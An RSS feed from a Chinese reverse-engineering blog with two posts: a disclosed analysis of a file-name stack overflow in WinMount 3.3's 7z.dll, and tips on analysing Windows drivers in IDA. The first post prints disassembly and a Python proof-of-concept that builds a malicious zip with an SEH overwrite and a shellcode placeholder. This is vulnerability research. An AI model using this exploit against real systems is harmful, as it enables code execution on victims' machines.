<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net &#187; dge</title>
	<atom:link href="http://www.softrce.net/archives/author/dge/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 03 Aug 2010 10:06:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>WinMount mou文件格式溢出漏洞分析</title>
		<link>http://www.softrce.net/archives/302</link>
		<comments>http://www.softrce.net/archives/302#comments</comments>
		<pubDate>Wed, 21 Apr 2010 11:55:42 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/302</guid>
		<description><![CDATA[前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，并且可以绕过GS,SAFESEH... ]]></description>
			<content:encoded><![CDATA[<p>Author：dge</p>
<p>前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。</p>
<p>影响产品:WinMount 3.3.0401</p>
<p>WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。</p>
<p>由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。</p>
<p>分析：<br />
.text:100B5460 vul_            proc near               ; CODE XREF: sub_100B64B0+2EEp<br />
.text:100B5460<br />
.text:100B5460 var_214         = dword ptr -214h<br />
.text:100B5460 var_210         = dword ptr -210h<br />
.text:100B5460 buf_20c         = byte ptr -20Ch<br />
.text:100B5460 arg_0           = dword ptr  4<br />
.text:100B5460 arg_4           = dword ptr  8<br />
.text:100B5460 arg_8           = dword ptr  0Ch<br />
.text:100B5460 arg_C           = dword ptr  10h<br />
.text:100B5460 arg_10          = dword ptr  14h<br />
.text:100B5460 arg_14          = dword ptr  18h<br />
.text:100B5460 arg_18          = dword ptr  1Ch<br />
.text:100B5460<br />
.text:100B5460                 sub     esp, 214h<br />
.text:100B5466                 mov     eax, dword_10101D2C<br />
.text:100B546B                 xor     eax, esp<br />
.text:100B546D                 mov     dword ptr [esp+214h+buf_20c+208h], eax<br />
.text:100B5474                 mov     ecx, [esp+214h+arg_18]<br />
.text:100B547B                 mov     edx, [esp+214h+arg_4]<br />
.text:100B5482                 mov     eax, [esp+214h+arg_C]<br />
.text:100B5489                 push    ebx<br />
.text:100B548A                 push    ebp<br />
.text:100B548B                 mov     ebp, [esp+21Ch+arg_0]<br />
.text:100B5492                 push    esi<br />
.text:100B5493                 mov     esi, [esp+220h+arg_8]<br />
.text:100B549A                 push    edi<br />
.text:100B549B                 mov     [esp+224h+var_214], ecx<br />
.text:100B549F                 push    edx<br />
.text:100B54A0                 lea     ecx, [ebp+58h]<br />
.text:100B54A3                 mov     [esp+228h+var_210], eax<br />
.text:100B54A7                 call    sub_100B5260<br />
.text:100B54AC                 mov     edi, [eax]<br />
.text:100B54AE                 mov     byte ptr [esi+6Ch], 1<br />
.text:100B54B2                 mov     eax, [edi+26h]<br />
.text:100B54B5                 mov     [esi+20h], eax<br />
.text:100B54B8                 mov     eax, [edi+2Ah]<br />
.text:100B54BB                 xor     ebx, ebx<br />
.text:100B54BD                 cmp     eax, ebx<br />
.text:100B54BF                 jz      short loc_100B54D0<br />
.text:100B54C1                 cmp     eax, 0FFFFFFFFh<br />
.text:100B54C4                 jz      short loc_100B54D0<br />
.text:100B54C6                 mov     byte ptr [esi+6Bh], 1<br />
.text:100B54CA                 mov     ecx, [edi+2Ah]<br />
.text:100B54CD                 mov     [esi+24h], ecx<br />
.text:100B54D0<br />
.text:100B54D0 loc_100B54D0:                           ; CODE XREF: vul_vul+5Fj<br />
.text:100B54D0                                         ; vul_vul+64j<br />
.text:100B54D0                 cmp     [edi+0Eh], ebx<br />
.text:100B54D3                 ja      short loc_100B54DA<br />
.text:100B54D5                 cmp     [edi+0Ah], ebx<br />
.text:100B54D8                 jbe     short loc_100B54DE<br />
.text:100B54DA<br />
.text:100B54DA loc_100B54DA:                           ; CODE XREF: vul_vul+73j<br />
.text:100B54DA                 mov     al, 1<br />
.text:100B54DC                 jmp     short loc_100B54E0<br />
.text:100B54DE ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B54DE<br />
.text:100B54DE loc_100B54DE:                           ; CODE XREF: vul_vul+78j<br />
.text:100B54DE                 xor     al, al<br />
.text:100B54E0<br />
.text:100B54E0 loc_100B54E0:                           ; CODE XREF: vul_vul+7Cj<br />
.text:100B54E0                 test    byte ptr [esi+20h], 10h<br />
.text:100B54E4                 mov     [esi+68h], al<br />
.text:100B54E7                 setnbe  dl<br />
.text:100B54EA                 mov     [esi+69h], dl<br />
.text:100B54ED                 mov     [esi+6Ah], bl<br />
.text:100B54F0                 mov     eax, [edi+1Ah]<br />
.text:100B54F3                 mov     ecx, [edi+1Eh]<br />
.text:100B54F6                 mov     edx, eax<br />
.text:100B54F8                 or      edx, ecx<br />
.text:100B54FA                 jz      short loc_100B5512<br />
.text:100B54FC                 add     eax, [esp+224h+arg_10]<br />
.text:100B5503                 adc     ecx, [esp+224h+arg_14]<br />
.text:100B550A                 mov     [esi+60h], eax<br />
.text:100B550D                 mov     [esi+64h], ecx<br />
.text:100B5510                 jmp     short loc_100B5518<br />
.text:100B5512 ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B5512<br />
.text:100B5512 loc_100B5512:                           ; CODE XREF: vul_vul+9Aj<br />
.text:100B5512                 mov     [esi+60h], ebx<br />
.text:100B5515                 mov     [esi+64h], ebx<br />
.text:100B5518<br />
.text:100B5518 loc_100B5518:                           ; CODE XREF: vul_vul+B0j<br />
.text:100B5518                 push    206h            ; size_t<br />
.text:100B551D                 lea     ecx, [esp+228h+buf_20c+2]<br />
.text:100B5521                 xor     eax, eax<br />
.text:100B5523                 push    ebx             ; int<br />
.text:100B5524                 push    ecx             ; void *<br />
.text:100B5525                 mov     word ptr [esp+230h+buf_20c], ax<br />
.text:100B552A                 call    _memset<br />
.text:100B552F                 add     esp, 0Ch<br />
.text:100B5532                 push    edi             ; int<br />
.text:100B5533                 lea     edx, [esp+228h+buf_20c]<br />
.text:100B5537                 push    edx             ; dst_string<br />
.text:100B5538                 push    ebp             ; int<br />
.text:100B5539                 call    sub_100B3F90    ;</p>
<p>跟进去</p>
<p>.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)<br />
.text:100B3F90 sub_100B3F90    proc near               ; CODE XREF: sub_100B3F90+25p<br />
.text:100B3F90                                         ; vul_vul+D9p<br />
.text:100B3F90<br />
.text:100B3F90 arg_0           = dword ptr  4<br />
.text:100B3F90 dst_string      = dword ptr  8<br />
.text:100B3F90 arg_8           = dword ptr  0Ch<br />
.text:100B3F90<br />
.text:100B3F90                 push    ebx<br />
.text:100B3F91                 mov     ebx, [esp+4+arg_8]<br />
.text:100B3F95                 mov     eax, [ebx+5Ch]<br />
.text:100B3F98                 push    esi<br />
.text:100B3F99                 mov     esi, [esp+8+dst_string]<br />
.text:100B3F9D                 push    edi<br />
.text:100B3F9E                 mov     edi, ds:lstrcatW<br />
.text:100B3FA4                 test    eax, eax<br />
.text:100B3FA6                 jz      short loc_100B3FC2<br />
.text:100B3FA8                 cmp     dword ptr [eax+56h], 0FFFFFFFFh<br />
.text:100B3FAC                 jz      short loc_100B3FC2<br />
.text:100B3FAE                 push    eax             ; int<br />
.text:100B3FAF                 mov     eax, [esp+10h+arg_0]<br />
.text:100B3FB3                 push    esi             ; dst_string<br />
.text:100B3FB4                 push    eax             ; int<br />
.text:100B3FB5                 call    sub_100B3F90<br />
.text:100B3FBA                 push    offset String2  ; &#8220;\\&#8221;<br />
.text:100B3FBF                 push    esi             ; lpString1<br />
.text:100B3FC0                 call    edi ; lstrcatW<br />
.text:100B3FC2<br />
.text:100B3FC2 loc_100B3FC2:                           ; CODE XREF: sub_100B3F90+16j<br />
.text:100B3FC2                                         ; sub_100B3F90+1Cj<br />
.text:100B3FC2                 mov     ecx, [ebx+52h]<br />
.text:100B3FC5                 push    ecx             ; lpString2<br />
.text:100B3FC6                 push    esi             ; lpString1<br />
.text:100B3FC7                 call    edi ; lstrcatW  ; 溢出<br />
.text:100B3FC9                 pop     edi<br />
.text:100B3FCA                 pop     esi<br />
.text:100B3FCB                 pop     ebx<br />
.text:100B3FCC                 retn    0Ch<br />
.text:100B3FCC sub_100B3F90    endp</p>
<p>接下来会继续调用下边这个函数</p>
<p>.text:100209C0 access_         proc near               ; CODE XREF: sub_10020AE0+6Cp<br />
.text:100209C0                                         ; sub_10021060+105p &#8230;<br />
.text:100209C0<br />
.text:100209C0 p_string        = dword ptr  4<br />
.text:100209C0<br />
.text:100209C0                 push    ebx<br />
.text:100209C1                 mov     ebx, ecx<br />
.text:100209C3                 mov     eax, [ebx]<br />
.text:100209C5                 push    esi<br />
.text:100209C6                 xor     ecx, ecx<br />
.text:100209C8                 push    edi<br />
.text:100209C9                 mov     edi, [esp+0Ch+p_string]<br />
.text:100209CD                 mov     dword ptr [ebx+4], 0<br />
.text:100209D4                 mov     [eax], cx<br />
.text:100209D7                 xor     esi, esi<br />
.text:100209D9                 cmp     [edi], cx<br />
.text:100209DC                 jz      short loc_100209E7<br />
.text:100209DE                 mov     edi, edi<br />
.text:100209E0<br />
.text:100209E0 loc_100209E0:                           ; CODE XREF: access_+25j<br />
.text:100209E0                 inc     esi<br />
.text:100209E1                 cmp     [edi+esi*2], cx ; 可以制造出内存读异常&#8212;&gt;绕过GS<br />
.text:100209E5                 jnz     short loc_100209E0<br />
.text:100209E7<br />
.text:100209E7 loc_100209E7:                           ; CODE XREF: access_+1Cj<br />
.text:100209E7                 push    esi<br />
.text:100209E8                 mov     ecx, ebx<br />
.text:100209EA                 call    sub_10002F90<br />
.text:100209EF                 mov     ecx, [ebx]<br />
.text:100209F1                 mov     edx, edi<br />
.text:100209F3<br />
.text:100209F3 loc_100209F3:                           ; CODE XREF: access_+42j<br />
.text:100209F3                 movzx   eax, word ptr [edx]<br />
.text:100209F6                 mov     [ecx], ax<br />
.text:100209F9                 add     ecx, 2<br />
.text:100209FC                 add     edx, 2<br />
.text:100209FF                 test    ax, ax<br />
.text:10020A02                 jnz     short loc_100209F3<br />
.text:10020A04                 pop     edi<br />
.text:10020A05                 mov     [ebx+4], esi<br />
.text:10020A08                 pop     esi<br />
.text:10020A09                 mov     eax, ebx<br />
.text:10020A0B                 pop     ebx<br />
.text:10020A0C                 retn    4<br />
.text:10020A0C access_         endp</p>
<p>POC:</p>
<p>用这个脚本产生test.zip，再借助WinMount生成test.mou文件。</p>
<p>import os</p>
<p>sploitfile=&#8221;test.zip&#8221;<br />
ldf_header =(&#8216;\x50\x4B\x03\x04\x14\x00\x00&#8242;<br />
&#8216;\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8242;<br />
&#8216;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8242;<br />
&#8216;\xd0\xff&#8217;<br />
&#8216;\x00\x00\x00&#8242;)<br />
cdf_header = (&#8220;\x50\x4B\x01\x02\x14\x00\x14&#8243;<br />
&#8220;\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8243;<br />
&#8220;\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8243;<br />
&#8220;\xd0\xff&#8221;<br />
&#8220;\x00\x00\x00\x00\x00\x00\x01\x00&#8243;<br />
&#8220;\x24\x00\x00\x00\x00\x00\x00\x00&#8243;)<br />
eofcdf_header = (&#8220;\x50\x4B\x05\x06\x00\x00\x00&#8243;<br />
&#8220;\x00\x01\x00\x01\x00&#8243;<br />
&#8220;\xfe\xff\x00\x00&#8243;<br />
&#8220;\xee\xff\x00\x00&#8243;<br />
&#8220;\x00\x00&#8243;)<br />
print &#8221;[+] Preparing payload\n&#8221;<br />
size=65484<br />
junk=&#8217;A'*420<br />
nseh=&#8217;\x89\x8a\x8b\x8c&#8217;<br />
seh=&#8217;\x84\x5b\xac\x8d&#8217;<br />
junk_=&#8217;A'*33<br />
jumpto=&#8217;\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4&#8242;#make eax point to shellcode and jump to shellcode<br />
shellcode=(&#8220;the shellcode here will be changed into unicode&#8221;)#encode by alpha2<br />
junk__=&#8217;B'*80<br />
last=&#8217;C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))<br />
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+&#8221;.wav&#8221;<br />
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header<br />
print &#8221;[+] Removing old zip file\n&#8221;<br />
os.system(&#8220;del &#8221;+sploitfile)<br />
print &#8221;[+] Writing payload to file\n&#8221;<br />
fobj=open(sploitfile,&#8221;w&#8221;,0)<br />
fobj.write(evilzip)<br />
print &#8221;generate zip file &#8221;+(sploitfile)<br />
fobj.close()<br />
print &#8217;[+] Wrote %d bytes to file sploitfile\n&#8217;%(len(evilzip))<br />
print &#8221;[+] Payload length :%d \n&#8221;%(len(payload))</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/302#comment-160">2010年05月1日</a>, Cyg07 writes: nx~顶了</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/302/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>静态分析驱动的一点技巧</title>
		<link>http://www.softrce.net/archives/140</link>
		<comments>http://www.softrce.net/archives/140#comments</comments>
		<pubDate>Sat, 16 May 2009 09:12:36 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[乾坤挪移（RCE）]]></category>
		<category><![CDATA[逆向技巧]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=140</guid>
		<description><![CDATA[习惯了OD和IDA的组合，也懒的装内核调试器了，好在需要分析驱动的时候特别少，而且只用IDA就可以玩的转。
最近在整驱动的过程中积累了点技巧，把他们记录下来，以慰同菜... ]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">author:dge</p>
<p style="text-align: left;">习惯了OD和IDA的组合，也懒的装内核调试器了，好在需要分析驱动的时候特别少，而且只用IDA就可以玩的转。</p>
<p style="text-align: left;">最近在整驱动的过程中积累了点技巧，把他们记录下来，以慰同菜。</p>
<p><span id="more-140"></span></p>
<p style="text-align: left;">Q:许多软件隐藏了驱动,如何找到它们?<br />
A:其实很简单，隐藏文件肯定是驱动干的，不让驱动的加载，再牛B的隐藏也废了，用SSM拦截驱动的加载是个不错的选择。</p>
<p style="text-align: left;">Q:如何提高驱动代码可读性?<br />
A:驱动中对IRP，DEVICE_OBJECT，DRIVER_OBJECT和IO_STACK_LOCATION的操作很多，所以把这些结构添加进来，然后把对这些结构的操作进行标识。</p>
<p style="text-align: left;">Q:如何完成驱动代码的准确定位?<br />
A:一般的驱动都是用DeviceIoControl给驱动发送IRP_MJ_DEVICE_CONTROL类型的IRP来调用驱动中的代码，在驱动中一般先对<br />
IRP_MJ_DEVICE_CONTROL进行处理，然后再细化到处理相应IOCTL的代码，这个IOCTL又是DeviceIoControl的一个参数，所以通过监视DeviceIoControl就可以完成代码的精确定位。</p>
<p style="text-align: left;">Q:如何来获取这个IOCTL?<br />
A:(1):可以通过调试器对DeviceIoControl下断，不过一般得应付很多反调试，感觉很笨拙。<br />
(2):可以写个监视DeviceIoControl的程序，然后把IOCTL作为日志实时的输出。如果我们想分析软件的某个功能，只要运行软件的某个功能,然后
</p>
<p style="text-align: left;">在日志中找到IOCTL，再在驱动代码中搜索它，就可以完成准确定位了，这个方式感觉比较好，它饶过了反调试。</p>
<p style="text-align: left;">Q:如何实现监视?<br />
A:其实就是改变DeviceIoControl的流程，inline hook就可以。</p>
<p style="text-align: left;">Q:还需要什么?<br />
A:一点兴趣，一些体力。</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/140#comment-74">2009年05月26日</a>, mj0011 writes: 真技巧啊真技巧</li><li><a href="http://www.softrce.net/archives/140#comment-75">2009年06月1日</a>, lammer writes: Q:还需要什么?
A:一点兴趣，一些体力。

这个是最重要的·！赞</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/140/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
